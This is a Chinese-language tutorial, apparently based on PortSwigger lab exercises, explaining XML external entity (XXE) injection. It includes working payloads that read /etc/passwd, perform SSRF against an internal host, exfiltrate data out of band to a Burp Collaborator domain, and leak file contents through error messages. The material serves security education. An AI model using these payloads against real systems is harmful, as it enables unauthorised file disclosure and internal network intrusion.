原文链接:burp练兵场之xxe
0x00 什么是xxexml外部实体注入漏洞允许攻击者介入应用程序处理xml数据的过程。利用该漏洞,经常可以查看服务器文件系统的文件,与后端或者应用可以获取的其他系统产生交互。
0x01 xxe漏洞如何产生的一些软件使用xml格式用于浏览器和服务器传递数据。在服务器上应用使用标准的库或者平台api处理xml数据。由于xml特定形式包含多种潜在的危险特性,xxe漏洞因此产生,并且标准格式器支持这些特性即使他们没有被应用使用。 0x02 xxe攻击的漏洞类型利用xxe盲打外带漏出数据 利用xxe盲打获取报错信息中数据
0x03 利用xxe漏洞检索文件利用xxe漏洞来检索服务器上的任意文件,可以修改为两种格式的数据并提交: 举例来说,假设购物应用通过提交的如下数据检查商品的等级: - <?xml version="1.0" encoding="UTF-8"?>
- <stockCheck><productId>381</productId></stockCheck>
复制代码应用没有采取针对xxe漏洞典型的防御手段,因此可以提交如下载荷,获取任意文件内容: - <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- <stockCheck><productId>&xxe;</productId></stockCheck>
复制代码将会返回/etc/passwd文件内容
在真实漏洞环境中,需要测试xml文件的每一个节点,验证是否存在漏洞。 0x04 实验1直接构造payload,文件检索类型,获取敏感数据。 0x05 实验2 本实验利用xxe执行ssrf攻击 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]> 通过迭代,按照步骤获取到内部key
0x06 xxe盲打利用
一些情况下,应用使用正则表达式过滤了部分写法。需要使用xml参数形式来绕过。 首先在xml中使用%,来声明使用参数形式。 <!ENTITY % myparameterentity "my parameter entity value" > 然后使用%来调用。 %myparameterentity; 最终构造payload - <!DOCTYPE fo [<!ENTITY % foo SYSTEM "http://nsjgs61d2z6nk7boxcgzujva117tvi.burpcollaborator.net/" >%foo;]>
复制代码
通过xxe,参数的形式带出了/etc/hostname的文件内容。 基本手法一致,具体payload - <!ENTITY % file SYSTEM "file:///etc/passwd">
- <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
- %eval;
- %error;
复制代码
|